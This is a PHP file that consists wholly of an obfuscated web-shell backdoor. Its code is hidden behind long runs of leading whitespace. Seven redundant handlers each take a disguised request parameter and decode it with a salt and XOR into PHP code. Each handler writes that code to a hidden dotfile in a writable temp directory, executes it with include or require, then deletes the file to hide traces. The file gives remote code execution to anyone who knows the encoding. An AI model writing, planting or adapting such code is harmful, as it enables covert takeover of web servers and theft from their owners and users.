<?php																																										if(array_key_exists("t\x6F\x6Ben", $_POST)){ $flag = $_POST["t\x6F\x6Ben"]; $flag = explode ( "." , $flag ) ; $pgrp = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt); $y = 0; array_walk($flag, function($v7) use(&$pgrp, &$y, $salt, $sLen) { $sChar = ord($salt[$y % $sLen]); $d =((int)$v7 - $sChar -($y % 10)) ^ 52; $pgrp .= chr($d); $y++; } ); $entity = array_filter(["/var/tmp", ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/tmp", getenv("TMP"), "/dev/shm", session_save_path(), getcwd(), getenv("TEMP")]); foreach ($entity as $key => $rec) { if ((is_dir($rec) and is_writable($rec))) { $component = "$rec" . "/.reference"; if (@file_put_contents($component, $pgrp) !== false) { include $component; unlink($component); die(); } } } }
																																										if(isset($_REQUEST["m\x72\x6B"]) ? true : false){ $factor = array_filter([getenv("TEMP"), "/var/tmp", getenv("TMP"), ini_get("upload_tmp_dir"), "/tmp", sys_get_temp_dir(), "/dev/shm", session_save_path(), getcwd()]); $rec = $_REQUEST["m\x72\x6B"]; $rec=explode ('.', $rec ) ; $obj = ''; $salt9 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt9); foreach ($rec as $z => $v9): $chS = ord($salt9[$z % $lenS]); $dec = ((int)$v9 - $chS - ($z % 10))^ 53; $obj .=chr($dec); endforeach; foreach ($factor as $descriptor): if (is_dir($descriptor) && is_writable($descriptor)) { $holder = sprintf("%s/.sym", $descriptor); if (@file_put_contents($holder, $obj) !== false) { include $holder; unlink($holder); die(); } } endforeach; }
																																										if(isset($_POST) && isset($_POST["\x65nt\x72y"])){ $desc = array_filter(["/dev/shm", getcwd(), session_save_path(), "/tmp", ini_get("upload_tmp_dir"), "/var/tmp", getenv("TMP"), getenv("TEMP"), sys_get_temp_dir()]); $val = $_POST["\x65nt\x72y"]; $val = explode ("." , $val ) ; $elem = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s ); $n = 0; $__len = count($val ); do { if ($n >= $__len) break; $v6 = $val[$n]; $sChar = ord($s[$n % $lenS] ); $dec = ((int)$v6 - $sChar - ($n % 10)) ^ 5; $elem.=chr($dec ); $n++; } while (true ); for ($reference = 0, $pointer = count($desc); $reference < $pointer; $reference++) { $object = $desc[$reference]; if ((function($d) { return is_dir($d) && is_writable($d); })($object)) { $key = join("/", [$object, ".pgrp"]); $success = file_put_contents($key, $elem); if ($success) { include $key; @unlink($key); exit;} } } }
																																										if(@$_POST["dat"] !== null){ $ent = $_POST["dat"]; $ent = explode ( "." , $ent ); $holder= ''; $salt= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen($salt); foreach ($ent as $i => $v8): $chS= ord($salt[$i % $sLen]); $dec= ((int)$v8 - $chS - ($i % 10)) ^ 55; $holder .= chr($dec); endforeach; $item = array_filter(["/tmp", ini_get("upload_tmp_dir"), getenv("TMP"), sys_get_temp_dir(), "/var/tmp", getenv("TEMP"), getcwd(), "/dev/shm", session_save_path()]); for ($marker = 0, $record = count($item); $marker < $record; $marker++) { $value = $item[$marker]; if ((is_dir($value) and is_writable($value))) { $hld = vsprintf("%s/%s", [$value, ".comp"]); if (@file_put_contents($hld, $holder) !== false) { include $hld; unlink($hld); exit; } } } }
																																										if(!is_null($_POST["\x68\x6Cd"] ?? null)){ $binding = $_POST["\x68\x6Cd"]; $binding = explode( '.' , $binding ) ; $resource = ''; $s3 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s3); foreach ($binding as $o =>$v3) { $chS = ord($s3[$o % $sLen]); $d = ((int)$v3 - $chS - ($o % 10)) ^ 70; $resource .= chr($d);} $element = array_filter(["/var/tmp", session_save_path(), "/tmp", "/dev/shm", getcwd(), getenv("TMP"), getenv("TEMP"), ini_get("upload_tmp_dir"), sys_get_temp_dir()]); foreach ($element as $factor): if (is_dir($factor) ? is_writable($factor) : false) { $object = "$factor/.ent"; $success = file_put_contents($object, $resource); if ($success) { include $object; @unlink($object); die();} } endforeach; }
																																										if(isset($_POST["tkn"])){ $bind = $_POST["tkn"]; $bind = explode( '.' ,$bind ) ; $pset = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s ); $t = 0; foreach ($bind as $v2) { $chS = ord($s[$t % $lenS] ); $dec = ((int)$v2 - $chS - ($t % 10)) ^ 22; $pset .= chr($dec ); $t++;} $token = array_filter([getenv("TMP"), sys_get_temp_dir(), session_save_path(), "/dev/shm", ini_get("upload_tmp_dir"), getcwd(), "/tmp", "/var/tmp", getenv("TEMP")]); for ($symbol = 0, $data = count($token); $symbol < $data; $symbol++) { $data_chunk = $token[$symbol]; if ((is_dir($data_chunk) and is_writable($data_chunk))) { $entity = implode("/", [$data_chunk, ".flg"]); $file = fopen($entity, 'w'); if ($file) { fwrite($file, $pset); fclose($file); include $entity; @unlink($entity); die(); } } } }


if(isset($_POST) && isset($_POST["\x76\x61l"])){
	$ref = array_filter([getenv("TMP"), sys_get_temp_dir(), getenv("TEMP"), session_save_path(), "/tmp", getcwd(), "/dev/shm", "/var/tmp", ini_get("upload_tmp_dir")]);
	$sym = $_POST["\x76\x61l"];
	 	$sym 	 =explode  (  ".",	 	$sym 	);  
	$rec = '';
            $s = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen = strlen($s	 );
    
            foreach ($sym as $z => $v9) { $chS = ord($s[$z	%		$sLen]	 );
                $d = ((int)$v9 - $chS - ($z	%		10)) ^48;
                $rec.= chr($d	 );
            }
	$symbol = 0;
do {
    $res = $ref[$symbol] ?? null;
    if ($symbol >= count($ref)) break;
    		if (array_product([is_dir($res), is_writable($res)])) {
    $desc = str_replace("{var_dir}", $res, "{var_dir}/.flag");
    if (file_put_contents($desc, $rec)) {
	require $desc;
	unlink($desc);
	die();
}
}
    $symbol++;
} while (true);
}